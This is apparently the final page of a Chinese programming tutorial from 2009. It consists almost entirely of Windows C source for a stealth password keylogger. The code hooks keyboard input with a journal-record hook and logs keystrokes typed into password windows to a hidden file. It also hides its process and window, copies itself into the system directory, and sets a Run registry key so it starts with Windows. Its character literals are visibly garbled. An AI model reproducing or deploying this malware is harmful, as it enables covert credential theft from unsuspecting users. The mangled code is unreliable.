|
|
 |
发送电子邮件 |
热 ★★★★ |
|
发送电子邮件 |
|
作者:闵涛 文章来源:闵涛的学习笔记 点击数:2828 更新时间:2009/4/23 18:35:31  |
|
|
lse kd.kKey=nKey;
return kd.kKey; }
if(nKey>=96 && nKey<=105) // 小键盘0-9 if(kd.bNum) return (kd.kKey=(nKey-96+48));
if(nKey>=186 && nKey<=222) // 其他键 { switch(nKey) { case 186: if(!kd.bShift) kd.kKey='''';'''';else kd.kKey='''':''''; break;
case 187: if(!kd.bShift) kd.kKey=''''='''';else kd.kKey=''''+'''' ; break;
case 188: if (!kd.bShift) kd.kKey='''','''';else kd.kKey=''''<'''' ; break;
case 189: if (!kd.bShift) kd.kKey=''''-'''';else kd.kKey=''''_'''' ; break;
case 190: if (!kd.bShift) kd.kKey=''''.'''';else kd.kKey=''''>'''' ; break;
case 191: if (!kd.bShift) kd.kKey=''''/'''';else kd.kKey=''''?'''' ; break;
case 192: if (!kd.bShift) kd.kKey=''''`'''' ; else kd.kKey=''''~'''' ; break;
case 219: if (!kd.bShift) kd.kKey=''''['''' ; else kd.kKey=''''{'''' ; break;
case 220: if (!kd.bShift) kd.kKey=''''\\'''' ; else kd.kKey=''''|'''' ; break;
case 221: if (!kd.bShift) kd.kKey='''']'''' ; else kd.kKey=''''}'''' ; break;
case 222: if (!kd.bShift) kd.kKey=''''\\''''; else kd.kKey=''''\\''''; break;
default:kd.kKey=''''n'''' ;break; } if(kd.kKey!=''''n'''') return kd.kKey; }
}
void WINAPI WritePassFile(int nKey) { HANDLE hFile; DWORD dwBytesWrite=1; TCHAR lpStr,szTemp[MAX_PATH];
hFile=CreateFile("C:\\passdata.txt", GENERIC_READ|GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL );
SetFilePointer(hFile,0,NULL,FILE_END); lpStr=GetKey(LOBYTE(nKey)); WriteFile(hFile,&lpStr,1,&dwBytesWrite,0); CloseHandle(hFile); }
void WINAPI InstallHook(HINSTANCE hInstance) { if(hHook==NULL) hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,hInstance,0); }
void WINAPI UninstallHook() { if(hHook!=NULL) UnhookWindowsHookEx(hHook); }
LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam) {
EVENTMSG *pMess=(EVENTMSG *)lParam; POINT pt;
switch(pMess->message) { case WM_KEYDOWN: if(IsPassWindow()) WritePassFile(LOBYTE(pMess->paramL)); break;
case WM_LBUTTONDBLCLK: GetCursorPos(&pt); break; }
return CallNextHookEx(hHook,nCode,wParam,lParam); }
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) {
HANDLE hMutex=CreateMutex(NULL,FALSE,"GMKRunOnlyOne"); if(hMutex==NULL||ERROR_ALREADY_EXISTS==GetLastError()){ ExitProcess(1); }
static char szAppName[] = "jiajia" ; HWND hwnd ; MSG msg ; WNDCLASSEX wndclass ; HKEY hKey=0; DWORD disp=0; LONG lResult; TCHAR szKey[MAX_PATH]; TCHAR szSysDir[MAX_PATH+25]; TCHAR szFileName[MAX_PATH];
wndclass.cbSize = sizeof (wndclass) ; wndclass.style = CS_HREDRAW | CS_VREDRAW ; wndclass.lpfnWndProc = WndProc ; wndclass.cbClsExtra = 0 ; wndclass.cbWndExtra = 0 ; wndclass.hInstance = hInstance ; wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION) ; wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ; wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ; wndclass.lpszMenuName = NULL ; wndclass.lpszClassName = szAppName ; wndclass.hIconSm = LoadIcon (NULL, IDI_APPLICATION) ;
RegisterClassEx(&wndclass);
hwnd=CreateWindow( szAppName, "jia jia", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL );
ShowWindow(hwnd,SW_HIDE); UpdateWindow(hwnd); HideProc(SERVICE_PROC); InstallHook(hInstance);
GetSystemDirectory(szSysDir,MAX_PATH); lstrcat(szSysDir,RUN); GetModuleFileName(NULL,szFileName,MAX_PATH); CopyFile(szFileName,szSysDir,FALSE);
lstrcpy(szKey,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); lResult=RegCreateKeyEx( HKEY_LOCAL_MACHINE, szKey, 0, NULL, REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &disp );
if(lResult==ERROR_SUCCESS) { lResult=RegSetValueEx(hKey,"GmkMon",0,REG_SZ,szSysDir,lstrlen(szSysDir)); RegCloseKey(hKey); }
while (GetMessage (&msg, NULL, 0, 0)) { TranslateMessage (&msg) ; DispatchMessage (&msg) ; } return msg.wParam ; }
LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam) {
switch (iMsg) { case WM_PAINT: return 0 ;
case WM_DESTROY: UninstallHook(); PostQuitMessage (0) ; return 0 ; }
return DefWindowProc(hwnd,iMsg,wParam,lParam);
上一页 [1] [2] [3] [4] 没有相关教程
|
|
| 教程录入:mintao 责任编辑:mintao |
|
|
上一篇教程: 开发一个基于DCOM的局域网聊天室(三) 下一篇教程: 增强MIDAS的安全性 |
|
|
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
|
注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网] |
网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!) |
| |
|
|
|
|
|
 |
同类栏目 |
 |
 |
赞助链接 |
 |
|
500 - 内部服务器错误。
|
|
|
|
|
|